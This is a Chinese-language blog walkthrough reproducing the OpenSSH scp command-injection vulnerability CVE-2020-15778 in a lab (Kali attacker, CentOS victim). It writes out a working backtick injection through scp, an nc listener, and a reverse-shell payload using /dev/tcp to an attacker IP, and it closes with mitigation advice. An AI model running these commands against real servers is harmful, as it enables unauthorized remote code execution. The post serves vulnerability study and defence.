CVE-2020-15778漏洞復(fù)現(xiàn)

OpenSSH 命令注入漏洞(CVE-2020-15778)漏洞復(fù)現(xiàn)

詳細(xì)描述

OpenSSH(OpenBSD Secure Shell)是OpenBSD計(jì)劃組的一套用于安全訪問(wèn)遠(yuǎn)程計(jì)算機(jī)的連接工具。該工具是SSH協(xié)議的開(kāi)源實(shí)現(xiàn),支持對(duì)所有的傳輸進(jìn)行加密,可有效阻止竊聽(tīng)、連接劫持以及其他網(wǎng)絡(luò)級(jí)的攻擊。
OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在命令注入漏洞。該漏洞源于外部輸入數(shù)據(jù)構(gòu)造可執(zhí)行命令過(guò)程中,網(wǎng)絡(luò)系統(tǒng)或產(chǎn)品未正確過(guò)濾其中的特殊元素。攻擊者可利用該漏洞執(zhí)行非法命令。

影響產(chǎn)品

產(chǎn)品:Openssh
影響的組件:SCP
漏洞版本:<= openssh-8.3p1

漏洞原理

使用scp復(fù)制文件到遠(yuǎn)程服務(wù)器時(shí),在scp命令后面跟上文件的路徑,具體格式如下:

scp Filename user@host:directory/Filename

在上述過(guò)程中,scp會(huì)使用”-t“參數(shù)來(lái)獲取存儲(chǔ)傳入文件的路徑,如下:

scp -t directory/Filename
image.png

問(wèn)題就出在這個(gè)地方,也就是"scp.c"文件的991行,如圖。這個(gè)地方未對(duì)傳入的文件路徑進(jìn)行檢測(cè)防護(hù)。攻擊者可以使用反引號(hào)包裹payload然后加上文件名執(zhí)行scp命令,這時(shí),payload將會(huì)發(fā)送到遠(yuǎn)程服務(wù)器并執(zhí)行。

利用環(huán)境

描述:要實(shí)現(xiàn)該漏洞必須知道ssh用戶密碼,但是一般來(lái)說(shuō)ssh是阻止連接的。這個(gè)時(shí)候我們就可以利用這個(gè)漏洞進(jìn)行連接。
攻擊機(jī):Kali-Linux-2020.3
受害機(jī):CentOS-6.8

漏洞復(fù)現(xiàn)

1、在攻擊機(jī)創(chuàng)建一個(gè)拷貝用的測(cè)試文件(為空即可)

touch test.txt
ls
image.png

2、測(cè)試在攻擊機(jī)上scp到受害機(jī)

#使用scp命令將test.txt傳送至受害機(jī)的tmp文件夾下
scp test.txt root@10.10.xx.xx:/tmp/test.txt
#之后需要輸入受害機(jī)的密碼,輸入完成后,文件即傳送過(guò)去了
image.png

3、查看受害機(jī)

#查看受害機(jī)/tmp目錄,新增了test.txt文件
ls
image.png

注:上述是,測(cè)試scp命令是否可以正常使用
4、開(kāi)始命令注入攻擊

#在攻擊機(jī)上通過(guò)特殊符號(hào) ` 進(jìn)行遠(yuǎn)程命令注入攻擊
scp test.txt root@10.xx.xx.xx:'`touch /tmp/1.sh`/tmp/test.txt'
image.png

5、查看受害機(jī)

#查看受害機(jī)/tmp目錄
ls
image.png

注:通過(guò) `` 符號(hào)內(nèi)實(shí)現(xiàn)任意遠(yuǎn)程命令執(zhí)行

5、攻擊機(jī)監(jiān)聽(tīng)端口

#新建一個(gè)攻擊機(jī)窗口進(jìn)行監(jiān)聽(tīng)端口,如8452
nc -lvp 8452
image.png

6、反彈shell命令注入攻擊


番外:

命令格式:bash -i >&/dev/tcp/10.10.10.10/8452 0>&1
命令 解釋
bash -i 產(chǎn)生一個(gè)交互式bash
>& /dev/tcp/ip/port 建立TCP連接,并將標(biāo)準(zhǔn)輸出和錯(cuò)誤重定向到TCP連接
0>&1 從TCP連接獲取輸入

言歸正傳:

#攻擊機(jī)原窗口進(jìn)行反彈shell命令注入攻擊
scp test.txt root@受害機(jī)ip:'`bash -i >&/dev/tcp/攻擊機(jī)ip/8452 0>&1`/tmp/test.txt'
image.png

7、查看新建的攻擊機(jī)窗口

#執(zhí)行成功,成功回顯,如下圖
image.png

修復(fù)建議

目前廠商暫未發(fā)布修復(fù)措施解決此安全問(wèn)題,等待官方補(bǔ)丁https://www.openssh.com/
加強(qiáng)ssh密碼或密鑰的保護(hù),周期性更換密碼或密鑰
使用rsync代替scp

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請(qǐng)通過(guò)簡(jiǎn)信或評(píng)論聯(lián)系作者。

友情鏈接更多精彩內(nèi)容